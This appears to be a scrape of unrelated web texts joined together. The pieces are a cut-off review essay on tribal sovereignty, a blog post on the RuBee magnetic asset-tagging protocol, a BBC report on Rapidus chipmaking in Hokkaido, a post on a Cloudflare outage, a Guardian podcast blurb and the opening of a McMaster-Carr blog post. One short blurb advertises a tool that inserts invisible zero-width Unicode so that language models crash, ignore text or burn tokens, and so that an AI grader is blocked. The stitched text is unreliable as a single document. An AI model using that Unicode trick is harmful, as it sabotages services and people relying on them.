This is not to say that the Trump administration, which aims to defund the federal agencies tribes rely on, won’t be worse than Biden. The government shutdown itself highlights the way the federal government funds its trust and treaty obligations through discretionary as opposed to mandatory funding for tribes, already the least well-funded among us, and the rush to extract everything from oil to rare earth minerals will hit indigenous lands hardest. But then the US government has a long, bipartisan, Constitution-sanctioned history of both taking Native territory and destroying it, denying imprisoned Native children their language in the process. Emanuel cites the United Nations special rapporteur on the rights of indigenous peoples, Victoria Tauli-Corpuz, who, after visiting western tribes in 2017, critiqued the US’s disregard for tribal sovereignty:
Sadly, I found the situation faced by the Standing Rock Sioux Tribe is shared by many other indigenous communities in the United States, as tribal communities nationwide wrestle with the realities of living in ground zero of energy impact.
The Boldt decision looked hard at a complicated history to map a new future for Native rights—and it worked. It is often cited as a first step toward the UN’s adoption in 2007 of the Declaration on the Rights of Indigenous Peoples. (The US was one of four “no” votes and the last holdout until late 2010, when Barack Obama agreed to support it, if only as an aspiration.) The autonomy allowed by Boldt helped the Olympic Peninsula’s Lower Elwha Klallam Tribe, whose elders had signed one of Stevens’s treaties, to, by 2014, take down the salmon-blocking dams that had been built on the Elwha River in 1910 by investors from Winnipeg and Chicago to power pulp mills. In 2023 the tribe held its first ceremonial salmon catch in decades. In California and Oregon, where the Yurok Tribe used its Boldt-era legal victories to regain its land and eventually take down dams on the Klamath River, salmon took only about a week to find their way to tributaries that had not had salmon in them for over half a century. “It feels like catharsis. It feels like we are on the right path. It gives me hope for the future,” Barry McCovey Jr., the director of the Yurok Tribe’s fisheries department, told the Associated Press
.
Hope is a rare commodity, but if there is hope for the earth, generally it has to do with acknowledging indigenous sovereignty in the face of insatiable resource extraction. Indigenous people make up 6 percent of the world’s population, but their territory accounts for close to a quarter of the earth’s land surface, containing more than a third of remaining natural lands worldwide, often in northern boreal and equatorial forests. Tribes have built up a body of Indian law that is as dynamic as it is unacknowledged. “Tribal sovereignty is one of the most powerful and valuable public ideas that has ever touched my mind,” Wilkinson writes.
I say that, not just because of tribal sovereignty’s legal and intellectual worth, but because it also has proved to be so invincible. The world’s most powerful nation tried to terminate tribal sovereignty over the course of many generations, but could not because it meant so much to Indian people, small minority that they were, and they refused to give in.
Robert Sullivan
’s books include
Rats
,
The Meadowlands
, and
A Whale Hunt
. His latest,
Double Exposure: Resurveying the West with Timothy O’Sullivan, America’s Most Mysterious War Photographer
, was published last year. (December 2025)
The New York Review
was launched during the New York City newspaper strike of 1963, when the magazine’s founding editors, Robert Silvers and Barbara Epstein, alongside Jason Epstein, Robert Lowell, and Elizabeth Hardwick, decided to start a new kind of publication—one in which the most interesting, lively, and qualified minds of the time could write about current books and issues in depth.
Readers responded by buying almost every copy and writing thousands of letters to demand that the Review continue. From the beginning, the editors were determined that the Review should be an independent publication; it began life as an editorial voice beholden to no one, and it remains so today.
Silvers and Epstein continued as co-editors until her death in 2006, and Silvers served as sole editor until his death in 2017. Since 2019 Emily Greenhouse has edited The New York Review, and it remains the magazine where, across twenty issues each year, the major voices in world literature and thought discuss books and ideas. In addition to the print magazine, the NYR Online publishes thorough and wide-ranging essays about politics national and global, film, art, and the cultural preoccupations of the day.
I have at least a few readers for which the sound of a man's voice saying
"government cell phone detected" will elicit a palpable reaction. In
Department of Energy facilities across the country, incidences of employees
accidentally carrying phones into secure areas are reduced through a sort of
automated nagging. A device at the door monitors for the presence of a tag;
when the tag is detected it plays an audio clip. Because this is the government,
the device in question is highly specialized, fantastically expensive, and
says "government cell phone" even though most of the phones in question are
personal devices. Look, they already did the recording, they're not changing
it now!
One of the things that I love is weird little wireless networks. Long ago I
wrote about
ANT+
,
for example, a failed personal area network standard designed mostly around
fitness applications. There's tons of these, and they have a lot of
similarities---so it's fun to think about the protocols that went down a
completely different path. It's even better, of course, if the protocol is
obscure outside of an important niche. And a terrible website, too? What more
could I ask for.
The DoE's cell-phone nagging boxes, and an array of related but more critical
applications, rely on an unusual personal area networking protocol called RuBee.
RuBee is a product of Visible Assets Inc., or VAI, founded in 2004
1
by John K.
Stevens. Stevens seems a somewhat improbable founder, with a background in
biophysics and eye health, but he's a repeat entrepreneur. He's particularly fond of companies
called Visible: he founded Visible Assets after his successful tenure as CEO of
Visible Genetics. Visible Genetics was an early innovator in DNA sequencing, and
still provides a specialty laboratory service that sequences samples of HIV in
order to detect vulnerabilities to antiretroviral medications.
Clinical trials in the early 2000s exposed Visible Genetics to one of the more
frustrating parts of health care logistics: refrigeration. Samples being shipped
to the lab and reagents shipped out to clinics were both temperature sensitive.
Providers had to verify that these materials had stayed adequately cold throughout
shipping and handling, otherwise laboratory results could be invalid or incorrect.
Stevens became interested in technical solutions to these problems; he wanted
some way to verify that samples were at acceptable temperatures both in storage
and in transit.
Moreover, Stevens imagined that these sensors would be in continuous communication.
There's a lot of overlap between this application and personal area networks (PANs),
protocols like Bluetooth that provide low-power communications over short ranges.
There is also clear overlap with RFID; you can buy RFID temperature sensors.
VAI, though, coined the term
visibility network
to describe RuBee. That's
visibility as in asset visibility: somewhat different from Bluetooth or RFID,
RuBee as a protocol is explicitly designed for situations where you need to
"keep tabs" on a number of different objects. Despite the overlap with other
types of wireless communications, the set of requirements on a visibility network
have lead RuBee down a very different technical path.
Visibility networks have to be highly reliable. When you are trying to keep
track of an asset, a failure to communicate with it represents a fundamental
failure of the system. For visibility networks, the ability to actually convey
a payload is secondary: the main function is just reliably detecting that
endpoints exist. Visibility networks have this in common with RFID, and indeed,
despite its similarities to technologies like BLE RuBee is positioned mostly as
a competitor to technologies like UHF RFID.
There are several differences between RuBee and RFID; for example, RuBee uses
active (battery-powered) tags and the tags are generally powered by a complete
4-bit microcontroller. That doesn't necessarily sound like an advantage, though.
While RuBee tags advertise a battery life of "5-25 years", the need for a battery seems
mostly like a liability. The real feature is what active tags enable: RuBee
operates in the low frequency (LF) band, typically at 131 kHz.
At that low frequency, the wavelength is very long, about 2.5 km. With such a
long wavelength, RuBee communications all happen at much less than one wavelength
in range. RF engineers refer to this as near-field operation, and it has some
properties that are intriguingly different from more typical far-field RF
communications. In the near-field, the magnetic field created by the antenna is
more significant than the electrical field. RuBee devices are intentionally
designed to emit very little electrical RF signal. Communications within a RuBee network are
achieved through magnetic, not electrical fields. That's the core of RuBee's magic.
The idea of magnetic coupling is not unique to RuBee. Speaking of the near-field,
there's an obvious comparison to NFC which works much the same way. The main difference,
besides the very different logical protocols, is that NFC operates at 13.56 MHz.
At this higher frequency, the wavelength is only around 20 meters. The requirement
that near-field devices be much closer than a full wavelength leads naturally to
NFC's very short range, typically specified as 4 cm.
At LF frequencies, RuBee can achieve magnetic coupling at ranges up to about 30
meters. That's a range comparable to, and often much better than, RFID inventory
tracking technologies. Improved range isn't RuBee's only benefit over RFID. The
properties of magnetic fields also make it a more robust protocol. RuBee promises
significantly less vulnerability to shielding by metal or water than RFID.
There are two key scenarios where this comes up: the first is equipment stored in
metal containers or on metal shelves, or equipment that is itself metallic. In
that scenario, it's difficult to find a location for an RFID tag that won't suffer
from shielding by the container. The case of water might seem less important, but
keep in mind that people are made mostly of water. RFID reading is often unreliable
for objects carried on a person, which are likely to be shielded from the reader
by the water content of the body.
These problems are not just theoretical. WalMart is a major adopter of RFID inventory
technology, and in early rollouts struggled with low successful read rates. Metal,
moisture (including damp cardboard boxes), antenna orientation, and multipath/interference
effects could cause read failure rates as high as 33% when scanning a pallet of goods.
Low read rates are mostly addressed by using RFID "portals" with multiple antennas.
Eight antennas used as an array greatly increase read rate, but at a cost of over
ten thousand dollars per portal system. Even so, WalMart seems to now target a
success rate of only 95% during bulk scanning.
95% might sound pretty good, but there are a lot of visibility applications where
a failure rate of even a couple percent is unacceptable. These mostly go by the
euphemism "high value goods," which depending on your career trajectory you may
have encountered in corporate expense and property policies. High-value goods
tend to be items that are both attractive to theft and where theft has particularly
severe consequences. Classically, firearms and explosives. Throw in classified
material for good measure.
I wonder if Stevens was surprised by RuBee's market trajectory. He came out of
the healthcare industry and, it seems, originally developed RuBee for cold
chain visibility... but, at least in retrospect, it's quite obvious that its
most compelling application is in the armory.
Because RuBee tags are small and largely immune to shielding by metals, you
can embed them directly in the frames of firearms, or as an aftermarket
modification you can mill out some space under the grip. RuBee tags in
weapons will read reliably when they are stored in metal cases or on
metal shelving, as is often the case. They will even read reliably when a
weapon is carried holstered, close to a person's body.
Since RuBee tags incorporate an active microcontroller, there are even more
possibilities. Temperature logging is one thing, but firearm-embedded RuBee
tags can incorporate an accelerometer (NIST-traceable, VAI likes to emphasize)
and actually count the rounds fired.
Sidebar time: there is a long history of political hazard around "smart guns."
The term "smart gun" is mostly used more specifically for firearms that
identify their user, for example by fingerprint authentication or detection of
an RFID fob. The idea has become vague enough, though, that mention of a
firearm with any type of RFID technology embedded would probably raise the
specter of the smart gun to gun-rights advocates.
Further, devices embedded in firearms that count the number of
rounds fired have been proposed for decades, if not a century, as a means of
accountability. The holder of a weapon could, in theory, be required to
positively account for every round fired. That could eliminate incidents of
unreported use of force by police, for example. In practice I think this is
less compelling than it sounds, simple counting of rounds leaves too many
opportunities to fudge the numbers and conceal real-world use of a weapon as
range training, for example.
That said, the NRA has long been vehemently opposed to the incorporation of any sort of
technology into weapons that could potentially be used as a means of state
control or regulation. The concern isn't completely unfounded; the state of
New Jersey did, for a time, have legislation that would have made user-identifying
"smart guns" mandatory if they were commercially available. The result of
the NRA's strident lobbying is that no such gun has ever become commercially
available; "smart guns" have been such a political third rail that any firearms
manufacturer that dared to introduce one would probably face a boycott by most
gun stores. For better or worse, a result of the NRA's powerful political
advocacy in this area is that the concept of embedding security or accountability
technology into weapons has never been seriously pursued in the US. Even a
tentative step in that direction can produce a huge volume of critical press
for everyone involved.
I bring this up because I think it explains some of why VAI seems a bit vague
and cagey about the round-counting capabilities of their tags. They position it
as purely a maintenance feature, allowing the armorer to keep accurate tabs on
the preventative maintenance schedule for each individual weapon (in armory
environments, firearm users are often expected to report how many rounds
they fired for maintenance tracking reasons). The resistance of RuBee tags
to concealment is only positioned as a deterrent to theft, although the idea
of RuBee-tagged firearms creates obvious potential for security screening.
Probably the most profitable option for VAI would be to promote RuBee-tagged
firearms as tool for enforcement of gun control laws, but this is
a political impossibility and bringing it up at all could cause significant
reputational harm, especially with the government as a key customer. The result
is marketing copy that is a bit odd, giving a set of capabilities that imply
an application that is never mentioned.
VAI found an incredible niche with their arms-tracking application. Institutional
users of firearms, like the military, police, and security forces, are relatively
price-insensitive and may have strict accounting requirements. By the mid-'00s,
VAI was into the long sales cycle of proposing the technology to the military.
That wasn't entirely unsuccessful. RuBee shot-counting weapon inventory tags were
selected by the Naval Surface Warfare Center in 2010 for installation on SCAR
and M4 rifles. That contract had a five-year term, it's unclear to me if it was
renewed. Military contracting opened quite a few doors to VAI, though, and
created a commercial opportunity that they eagerly pursued.
Perhaps most importantly, weapons applications required an impressive round of
safety and compatibility testing. RuBee tags have the fairly unique distinction
of military approval for direct attachment to ordnance, something called "zero
separation distance" as the tags do not require a minimum separation from
high explosives. Central to that certification are findings of intrinsic safety
of the tags (that they do not contain enough energy to trigger explosives) and
that the magnetic fields involved cannot convey enough energy to heat anything
to dangerous temperatures.
That's not the only special certification that RuBee would acquire. The military
has a lot of firearms, but military procurement is infamously slow and mercurial.
Improved weapon accountability is, almost notoriously, not a priority for the
US military which has often had stolen weapons go undetected until their later
use in crime. The Navy's interest in RuBee does not seem to have translated to
more widespread military applications.
Then you have police departments, probably the largest institutional owners of
firearms and a very lucrative market for technology vendors. But here we run
into the political hazard: the firearms lobby is very influential on police
departments, as are police unions which generally oppose technical accountability
measures. Besides, most police departments are fairly cash-poor and are not
likely to make a major investment in a firearms inventory system.
That leaves us with institutional security forces. And there is one category
of security force that are particularly well-funded, well-equipped, and
beholden to highly R&D-driven, almost pedantic standards of performance:
the protection forces of atomic energy facilities.
Protection forces at privately-operated atomic energy facilities, such as
civilian nuclear power plants, are subject to licensing and scrutiny by the
Nuclear Regulatory Commission. Things step up further at the many facilities
operated by the National Nuclear Security Administration (NNSA). Protection
forces for NNSA facilities are trained at the Department of Energy's National
Training Center, at the former Manzano Base here in Albuquerque. Concern over
adequate physical protection of NNSA facilities has lead Sandia National
Laboratories to become one of the premier centers for R&D in physical security.
Teams of scientists and engineers have applied sometimes comical scientific rigor to "guns,
gates, and guards," the traditional articulation of physical security in the
nuclear world.
That scope includes the evaluation of new technology for the management of
protection forces, which is why Oak Ridge National Laboratory launched an
evaluation program for the RuBee tagging of firearms in their armory. The
white paper on this evaluation is curiously undated, but citations "retrieved 2008"
lead me to assume that the evaluation happened right around the middle of the
'00s. At the time, VAI seems to have been involved in some ultimately unsuccessful
partnership with Oracle, leading to the branding of the RuBee system as Oracle
Dot-Tag Server. The term "Dot-Tag" never occurs outside of very limited materials
around the Oracle partnership, so I'm not sure if it was Oracle branding for
RuBee or just some passing lark. In any case, Oracle's involvement seems to have
mainly just been the use of the Oracle database for tracking inventory data---which
was naturally replaced by PostgreSQL at Oak Ridge.
The Oak Ridge trial apparently went well enough, and around the same time, the Pantex
Plant in Texas launched an evaluation of RuBee for tracking classified tools.
Classified tools are a tricky category, as they're often metallic and often stored
in metallic cases. During the trial period, Pantex tagged a set of sample classified
tools with RuBee tags and then transported them around the property, testing the
ability of the RuBee controllers to reliably detect them entering and exiting areas of
buildings. Simultaneously, Pantex evaluated the use of RuBee tags to track containers
of "chemical products" through the manufacturing lifecycle. Both seem to have
produced positive results.
There are quite a few interesting and strange aspects of the RuBee system, a
result of its purpose-built Visibility Network nature. A RuBee controller can have
multiple antennas that it cycles through. RuBee tags remain in a deep-sleep mode
for power savings until they detect a RuBee carrier during their periodic wake
cycle. When a carrier is detected, they fully wake and listen for traffic. A
RuBee controller can send an interrogate message and any number of tags can respond,
with an interesting and novel collision detection algorithm used to ensure
reliable reading of a large number of tags.
The actual RuBee protocol is quite simple, and can also be referred to as IEEE 1902.1
since the decision of VAI to put it through the standards process. Packets are
small and contain basic addressing info, but they can also contain arbitrary payload in both directions,
perfect for data loggers or sensors. RuBee tags are identified by something that VAI
oddly refers to as an "IP address," causing some confusion over whether or not VAI
uses IP over 1902.1. They don't, I am confident saying after reading a whole lot of
documents. RuBee tags, as standard, have three different 4-byte addresses. VAI refers
to these as "IP, subnet, and MAC,"
2
but these names are more like analogies.
Really, the "IP address" and "subnet" are both configurable arbitrary addresses,
with the former intended for unicast traffic and the latter for broadcast. For example,
you would likely give each asset a unique IP address, and use subnet addresses for
categories or item types. The subnet address allows a controller to interrogate for
every item within that category at once. The MAC address is a fixed, non-configurable
address derived from the tag's serial number. They're all written in the formats
we associate with IP networks, dotted-quad notation, as a matter of convenience.
And that's about it as far as the protocol specification, besides of course the
physical details which are a 131,072 Hz carrier, 1024 Hz data clock, either ASK
or BPSK modulation. The specification also describes an interesting mode called
"clip," in which a set of multiple controllers interrogate in exact synchronization
and all tags then reply in exact synchronization. Somewhat counter-intuitively,
because of the ability of RuBee controllers to separate out multiple simultaneous
tag transmissions using an anti-collision algorithm based on random phase shifts
by each tag, this is ideal. It allows a room, say an armory, full of RuBee
controllers to rapidly interrogate the entire contents of the room. I think this
feature may have been added after the Oak Ridge trials...
RuBee is quite slow, typically 1,200 baud, so inventorying a large number of assets
can take a while (Oak Ridge found that their system could only collect data on 2-7
tags per second per controller). But it's so robust that it an achieve a 100% read
rate in some very challenging scenarios. Evaluation by the DoE and the military
produced impressive results. You can read, for example, of a military experiment in
which a RuBee antenna embedded in a roadway reliably identified rifles secured in
steel containers in passing Humvees.
Paradoxically, then, one of the benefits of RuBee in the military/defense context
is that it is also
difficult
to receive. Here is RuBee's most interesting trick:
somewhat oversimplified, the strength of an electrical radio signal goes as 1/r,
while the strength of a magnetic field goes as 1/r^3. RuBee equipment is optimized,
by antenna design, to produce a minimal electrical field. The result is that RuBee
tags can very reliably be contacted at short range (say, around ten feet), but are
virtually impossible to contact or even detect at ranges over a few hundred feet.
To the security-conscious buyer, this is a huge feature. RuBee tags are highly
resistant to communications or electronic intelligence collection.
Consider the logical implications of tagging the military's rifles. With
conventional RFID, range is limited by the size and sensitivity of the antenna.
Particularly when tags are incidentally powered by a nearby reader, an adversary
with good equipment can detect RFID tags at very long range. VAI heavily references
a 2010 DEFCON presentation, for example, that demonstrated detection of RFID tags
at a range of 80 miles. One imagines that opportunistic detection by satellite is feasible for
a state intelligence agency. That means that your rifle asset tracking is also
revealing the movements of soldiers in the field, or at least providing a way to
detect their approach.
Most RuBee tags have their transmit power reduced by configuration, so even the
maximum 100' range of the protocol is not achievable. VAI suggests that typical
RuBee tags cannot be detected by radio direction finding equipment at ranges
beyond 20', and that this range can be made shorter by further reducing transmit
power.
Once again, we have caught the attention of the Department of Energy. Because of
the short range of RuBee tags, they have generally been approved as not representing
a COMSEC or TEMPEST hazard to secure facilities. And that brings us back to the
very beginning: why does the DoE use a specialized, technically interesting, and
largely unique radio protocol to fulfill such a basic function as nagging people
that have their phones? Because RuBee's security properties have allowed it to be
approved for use adjacent to and inside of secure facilities. A RuBee tag, it is
thought, cannot be turned into a listening device because the intrinsic range
limitation of magnetic coupling will make it impossible to communicate with the
tag from outside of the building. It's a lot like how infrared microphones still
see some use in secure facilities, but so much more interesting!
VAI has built several different product lines around RuBee, with names like
Armory 20/20 and Shot Counting Allegro 20/20 and Store 20/20. The founder started
his career in eye health, remember. None of them are that interesting, though.
They're all pretty basic CRUD applications built around polling multiple RuBee
controllers for tags in their presence.
And then there's the "Alert 20/20 DoorGuard:" a metal pedestal with a RuBee
controller and audio announcement module, perfect for detecting government
cell phones.
One of the strangest things about RuBee is that it's hard to tell if it's still
a going concern. VAI's website has a press release section, where nothing has been
posted since 2019. The whole website feels like it was last revised even longer
ago. When RuBee was newer, back in the '00s, a lot of industry journals covered it
with headlines like "the new RFID." I think VAI was optimistic that RuBee could
displace all kinds of asset tracking applications, but despite some special
certifications in other fields (e.g. approval to use RuBee controllers and tags
around pacemakers in surgical suites), I don't think RuBee has found much success
outside of military applications.
RuBee's resistance to shielding is impressive, but RFID read rates have improved
considerably with new DSP techniques, antenna array designs, and the generally
reduced cost of modern RFID equipment. RuBee's unique advantages, its security
properties and resistance to even intentional exfiltration, are interesting but
not worth much money to buyers other than the military.
So that's the fate of RuBee and VAI: defense contracting. As far as I can tell,
RuBee and VAI are about as vital as they have ever been, but RuBee is now installed
as just one part of general defense contracts around weapons systems, armory
management, and process safety and security. IEEE standardization has opened the
door to use of RuBee by federal contractors under license, and indeed, Lockheed
Martin is repeatedly named as a licensee, as are firearms manufacturers with military
contracts like Sig Sauer.
Besides, RuBee continues to grow closer to the DoE. In 2021, VAI appointed Lisa
Gordon-Hagerty to it board of directors. Gordon-Hagerty was undersecretary of
Energy and had lead the NNSA until the year before. This year, the New Hampshire
Small Business Development Center wrote a glowing profile of VAI. They described
it as a 25-employee company with a goal of hitting $30 million in annual revenue in the
next two years.
Despite the outdated website, VAI claims over 1,200 RuBee sites in service. I wonder
how many of those are Alert 20/20 DoorGuards? Still, I do believe there are military
weapons inventory systems currently in use. RuBee probably has a bright future, as a
niche technology for a niche industry. If nothing else, they have legacy installations
and intellectual property to lean on. A spreadsheet of VAI-owned patents on RuBee,
with nearly 200 rows, encourages would-be magnetically coupled visibility network inventors
not to go it on their own. I just wish I could get my hands on a controller....
Japan's gamble to turn island of Hokkaido into global chip hub
Suranjana Tewari
Asia business correspondent, Hokkaido, Japan
Getty Images
Hokkaido is a tourism and agricultural region, but Rapidus is making chips there too
The island of Hokkaido has long been an agricultural powerhouse – now Japan is investing billions to turn it into a global hub for advanced semiconductors.
More than half of Japan's dairy produce comes from Hokkaido, the northernmost of its main islands. In winter, it's a wonderland of ski resorts and ice-sculpture festivals; in summer, fields bloom with bands of lavender, poppies and sunflowers.
These days, cranes are popping up across the island – building factories, research centres and universities focused on technology. It's part of Japan's boldest industrial push in a generation: an attempt to reboot the country's chip-making capabilities and reshape its economic future.
Locals say that beyond the cattle and tourism, Hokkaido has long lacked other industries. There's even a saying that those who go there do so only to leave.
But if the government succeeds in turning Hokkaido into Japan's answer to Silicon Valley - or "Hokkaido Valley", as some have begun to call it - the country could become a new contender in the $600bn (£458bn) race to supply the world's computer chips.
An unlikely player
At the heart of the plan is Rapidus, a little-known company backed by the government and some of Japan's biggest corporations including Toyota, Softbank and Sony.
Born out of a partnership with IBM, it has raised billions of dollars to build Japan's first cutting-edge chip foundry in decades.
The government has invested $12bn in the company, so that it can build a massive semiconductor factory or "fab" in the small city of Chitose.
In selecting the Hokkaido location, Rapidus CEO Atsuyoshi Koike points to Chitose's water, electricity infrastructure and its natural beauty.
Mr Koike oversaw the fab design, which will be completely covered in grass to harmonise with Hokkaido's landscape, he told the BBC.
Local authorities have also flagged the region as being at lower risk of earthquakes compared to other potential sites in Japan.
A key milestone for Rapidus came with the delivery of an extreme ultraviolet lithography (EUV) system from the Dutch company ASML.
The high-tech machinery helped bring about Rapidus' biggest accomplishment yet earlier this year – the successful production of prototype two nanometre (2nm) transistors.
These ultra-thin chips are at the cutting edge of semiconductor technology and allow devices to run faster and more efficiently.
It's a feat only rival chip makers TSMC and Samsung have accomplished. Intel is not pursuing 2nm, it is leapfrogging from 7nm straight to 1.8nm.
"We succeeded in manufacturing the 2nm prototype for the first time in Japan, and at an unprecedented speed in Japan and globally," Mr Koike said.
He credits the IBM partnership for helping achieve the breakthrough.
Tie-ups with global companies are essential to acquiring the technology needed for this level of chips, he added.
The sceptics
Rapidus is confident that it is on track to mass produce 2nm chips by 2027. The challenge will be achieving the yield and quality that is needed to survive in an incredibly competitive market – the very areas where Taiwan and South Korea have pulled ahead.
TSMC for example has achieved incredible success in mass production, but making high-end chips is costly and technically demanding.
In a 2024 report, the Asean+3 Macroeconomic Research Office highlighted that although Rapidus is receiving government subsidies and consortium members are contributing funds: "The financing falls short of the expected 5 trillion yen ($31.8bn; £24.4bn) needed to start mass production."
The Center for Security and International Studies (CSIS) has previously said: "Rapidus has no experience in manufacturing advanced chips, and to date there is no indication that it will be able to access actual know-how for such an endeavour from companies with the requisite experience (ie TSMC and Samsung)."
Finding customers may also be a challenge – Samsung and TSMC have established relationships with global companies that have been buying their chips for years.
The lost decades
Nevertheless, Japan's government is pouring money into the chip industry - $27bn between 2020 and early 2024 - a larger commitment relative to its gross domestic product (GDP) than the US made through the
Biden-era CHIPS Act
.
In late 2024, Tokyo unveiled a $65bn package for Artificial Intelligence (AI) and semiconductors that could further support Rapidus's expansion plans.
This comes after decades of decline. Forty years ago Japan made more than half of the world's semiconductors. Today, it produces just over 10%.
Many point to US-Japan trade tensions in the 1980s as a turning point.
Naoyuki Yoshino, professor emeritus at Keio University, said Japan lost out in the technology stakes to Taiwan and South Korea in the 1980s, leaving domestic companies weaker.
Unlike its rivals, Japan failed to sustain subsidies to keep its chipmakers competitive.
But Mr Koike says that mentality has changed.
"The [national] government and local government are united in supporting our industry to revive once again."
Getty Images
Rapidus has already achieved a production prototype of a 2nm chip
Japan's broader economic challenges also loom large. Its population is shrinking while the number of elderly citizens continues to surge. That has determined the national budget for years and has contributed to slowing growth.
More than a third of its budget now goes to social welfare for the elderly, and that squeezes the money available for research, education and technology, Prof Yoshino says.
Japan also faces a severe shortage of semiconductor engineers – an estimated 40,000 people in the coming years.
Rapidus is partnering with Hokkaido University and others to train new workers, but agrees it will have to rely heavily on foreigners, at a time when public support for workers coming into the country for employment is low.
Growing an ecosystem
The government's push is already attracting major global players.
TSMC is producing 12–28nm chips in Kumamoto, on the south-western island of Kyushu - a significant step for Japan, even if it lags behind the company's cutting-edge production in Taiwan.
The expansion has transformed the local economy, attracting suppliers, raising wages, and leading to infrastructure and service developments.
Japan's broader chip revival strategy appears to be following a playbook: establish a "fab", and an entire ecosystem will tend to follow.
TSMC started building a second plant on Kyushu in October this year, which is due to begin production by the end of 2027.
Beyond Rapidus and TSMC, local players like Kioxia and Toshiba are also getting government backing.
Kioxia has expanded fabs in Yokkaichi and Kitakami with state funds and Toshiba has built one in Ishikawa. Meanwhile, ROHM has been officially designated as a company that provides critical products under Tokyo's economic security framework.
American memory chipmaker Micron will also receive $3.63bn in subsidies from the Japanese government to grow facilities in Hiroshima, while Samsung is building a research and development facility in Yokohama.
Hokkaido is seeing similar momentum. Chipmaking equipment companies ASML and Tokyo Electron have both opened offices in Chitose, off the back of Rapidus building a production facility there.
"This will make a form of 'global ecosystem'," Mr Koike says, "where we work together to be able to produce semiconductors that contribute to the world."
Getty Images
The CEO of Rapidus says the firm's edge is bespoke chips that can be delivered quickly
Mr Koike said Rapidus's key selling point would be - as its name suggests - an ability to produce custom chips faster than competitors, rather than competing directly with other players.
"TSMC leads the world, with Intel and Samsung close behind. Our edge is speed - we can produce and deliver chips three to four times faster than anyone else. That speed is what gives us an edge in the global semiconductor race," Mr Koike said.
Big bet
Global demand for chips is surging with the rise of AI, while Japan's automakers - still recovering from pandemic-era supply shocks - are pressing for more reliable, domestically or regionally sourced production across the entire supply chain, from raw materials to finished chips.
Securing control over chip manufacturing is being seen as a national security priority, both in Japan and elsewhere, as recent trade frictions and geopolitical tensions between China and Taiwan raise concerns around the risks of relying on foreign suppliers.
"We'd like to provide products from Japan once again – products that are powerful and with great new value," Mr Koike said.
For Japan's government, investing in Rapidus is a high-stakes gamble to revive its semiconductor industry and more broadly its tech power.
And some analysts say it may be the country's best chance to build a domestic ecosystem to supply advanced chips to its many manufacturers, and one day become a formidable challenger in the global market.
Cloudflare, the CDN provider, suffered a massive outage today. Some of the world's most popular apps and web services were left inaccessible for serveral hours whilst the Cloudflare team scrambled to fix a whole swathe of the internet.
And that might be a good thing.
The proximate cause of the outage was pretty mundane:
a bad config file triggered a latent bug in one of Cloudflare's services
. The file was too large (details still hazy) and this led to a cascading failure across Cloudflare operations. Probably there is some useful post-morteming about canary releases and staged rollouts.
But the bigger problem, the ultimate cause, behind today's chaos is the creeping centralisation of the internet and a society that is sleepwalking into assuming the net is
always on
and
always working
.
It's not just "trivial" stuff like Twitter and
League of Legends
that were affected, either. A friend of mine remarked caustically about his experience this morning
I couldn't get air for my tyres at two garages because of cloudflare going down.
Bloody love the lack of resilience that goes into the design when the machine says "cash only" and there's no cash slot.
So flat tires for everyone! Brilliant.
We are living in a society where every part of our lives is increasingly mediated through the internet: work, banking, retail, education, entertainment, dating, family, government ID and credit checks. And the internet is increasingly tied up in
fewer and fewer points of failure
.
It's ironic because the internet was actually designed for decentralisation, a system that governments could use to coordinate their response in the event of nuclear war. But due to the economics of the internet, the challenges of things like bots and scrapers, more of more web services are holed up in citadels like AWS or behind content distribution networks like Cloudflare.
Outages like today's are a good thing because they're a
warning
. They can force redundancy and resilience into systems. They can make the pillars of our society - governments, businesses, banks - provide reliable alternatives when things go wrong.
(Ideally ones that are completely offline)
You can draw a parallel to how COVID-19 shook up global supply chains: the logic up until 2020 was that you wanted your system to be as lean and efficient as possible, even if it meant relying totally on international supplies or keeping as little spare inventory as possible. After 2020 businesses realised they needed to diversify and build slack in the system to tolerate shocks.
In the same way that growing one kind of banana,
nearly resulted in bananas going extinct
, we're drifing towards a society that can't survive without digital infrastructure; and a digital infrastructure that can't operate without two or three key players. One day there's going to be an outage, a bug, or cyberattack from a hostile state, that demonstrates how fragile that system is.
Embrace outages, and build redundancy.
A free tool that stuns LLMs with thousands of invisible Unicode characters
Block AIs from reading your text with invisible Unicode characters while preserving meaning for humans.
How it works:
This tool inserts invisible zero-width Unicode characters between each character of your input text. The text will look the same but will be much longer and can help stop AI plagarism. It also helps to waste tokens, causing users to run into ratelimits faster.
How to use:
This tool works best when gibberifying the most important parts of an essay prompt, up to about 500 characters. This makes it harder for the AI to detect while still functioning well in Google Docs. Some AI models will crash or fail to process the gibberified text, while others will respond with confusion or simply ignore everything inside the gibberified text.
Use cases:
Anti-plagiarism, text obfuscation for LLM scrapers, or just for fun!
Even just one word's worth of gibberified text is enough to block something like Flint AI from grading a session.
‘Enshittification’: how we got the internet no one asked for – podcast
Guardian
www.theguardian.com
2025-11-24 03:00:25
Tech critic Corey Doctorow explains why for so many the internet – from Amazon to Google to Instagram – seems to be getting worse Do you ever get the feeling that the internet isn’t what it used to be? Well, tech critic Corey Doctorow thinks you’re right – and he has a term to describe it too: ‘ensh...
Tech critic
Corey Doctorow
explains why for so many the internet – from Amazon to Google to Instagram – seems to be getting worse
Do you ever get the feeling that the internet isn’t what it used to be?
Well, tech critic
Corey Doctorow
thinks you’re right – and he has a term to describe it too: ‘enshittification’.
He lays out his three-step theory to
Nosheen Iqbal
, explaining why sites from Amazon to Google to
Instagram
seem to offer a worsening experience … and what can be done to stop it.
Photograph: gorodenkoff/Getty Images
McMaster Carr – The Smartest Website You Haven't Heard Of
Most people I know haven't even heard of it, but
mcmaster.com
is the best e-commerce site I've ever used.
McMaster-Carr is an industrial supply company. They sell nuts, bolts, bushings, bearings – pretty much anything an engineer needs to build stuff. I've purchased from them dozens of times over the past few years, both for personal and school projects.
But what makes their website so great? And why should an industrial supply company have the best e-commerce site on the internet?
mcmaster.com
is great because it does what it needs to, and nothing else.
First, let's look at the visual design of the site. Minimal, mostly grayscale, with accents of green and yellow. There are no popups, animations, banners, carousels, or videos – just a calm, static page with categories and a search bar. Even the images are grayscale, to avoid inadvertently catching your eye.
It's not the most visually stunning site, but that doesn't matter here - McMaster has chosen function over form.
A user's goal when they visit McMaster-Carr is to find their part as quickly as possible. The website is designed entirely around that fact. Users rarely come just to browse, so there are no AI recommendation algorithms, featured products, new arrivals – that doesn't make sense in this context. People visit McMaster-Carr with high intent to buy a specific part, that's it.
So how do we get from the 700,000 products in their catalog down to one part? Here's what I do.
Let's say I'm searching for a bolt:
I type "bolt" into the search bar
McMaster shows me several subcategories: hex head, socket head, set screws, etc. I'm looking for socket head, so I select that one.
